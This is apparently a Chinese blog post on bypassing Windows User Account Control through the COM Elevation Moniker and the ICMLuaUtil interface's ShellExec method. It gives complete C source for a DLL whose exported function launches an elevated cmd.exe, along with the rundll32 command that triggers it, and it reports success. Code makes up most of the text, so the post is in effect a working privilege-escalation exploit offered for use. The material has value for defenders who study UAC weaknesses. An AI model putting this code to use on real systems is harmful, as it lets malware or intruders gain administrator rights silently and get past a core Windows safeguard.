基于COM组件接口的BypassUAC

COM提升名称(COM Elevation Moniker)技术允许运行在用户账户控制下的应用程序用提升权限的方法来激活COM类,以此提升COM接口权限。其中,ICMLuaUtil接口提供了ShellExec方法执行命令,创建指定进程。

原理是利用COM提升名称以高权限调用ICMLuaUtil接口,从而以高权限执行ShellExec创建指定进程。使用权限提升COM类的程序必须通过调用CoCreateInstanceAsAdmin函数创建COM类,必须用可信程序运行,如果执行COM提升名称代码的程序身份不可信,则会触发UAC,要Bypass UAC必须让这一段代码在Windows的可信程序中运行,如记事本、计算器、rundll32.exe等,通过DLL注入或是劫持技术,将这段代码注入到这些可欣程序的进程空间中。通过rundll32.exe调用自定义DLL中的导出函数,执行COM提升名称的代码。

执行流程

初始化com库->创建高权限的ICMLuaUtil接口->调用ICMLuaUtil的ShellExec方法->以高权限执行cmd

实质上是以高权限运行COM组件ICMLuaUtil,ICMLuaUtil中可调用ShellExecute执行程序。定义成导出函数,用可信程序rundll32调用导出函数

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include "pch.h"
#include "BypassUAC.h"

HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID* ppVoid)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[MAX_PATH] = { 0 };
WCHAR wszMonikerName[MAX_PATH] = { 0 };
HRESULT hr = 0;

// 初始化COM环境
::CoInitialize(NULL);

// 构造字符串
::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
{
return hr;
}

// 设置BIND_OPTS3
::RtlZeroMemory(&bo, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hWnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;

// 创建名称对象并获取COM对象
hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
return hr;
}


BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
HRESULT hr = 0;
CLSID clsidICMLuaUtil = { 0 };
IID iidICMLuaUtil = { 0 };
ICMLuaUtil* CMLuaUtil = NULL;
BOOL bRet = FALSE;

do {
::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

// 提权
hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
if (FAILED(hr))
{
break;
}

// 启动程序
hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
if (FAILED(hr))
{
break;
}

bRet = TRUE;
} while (FALSE);

// 释放
if (CMLuaUtil)
{
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}

return bRet;
}

//导出函数
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)
{
CMLuaUtilBypassUAC((LPWSTR)L"C:\\Windows\\System32\\cmd.exe");
}

用lordpe查看生成dll的导出表,发现存在导出函数

6ZYnVH.png

用rundll32.exe调用导出函数

1
rundll32 ComBypassUACdll.dll,BypassUAC

6ZYeqe.png

BypassUAC成功

6ZYuad.png

参考

《Windows黑客编程技术详解》


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!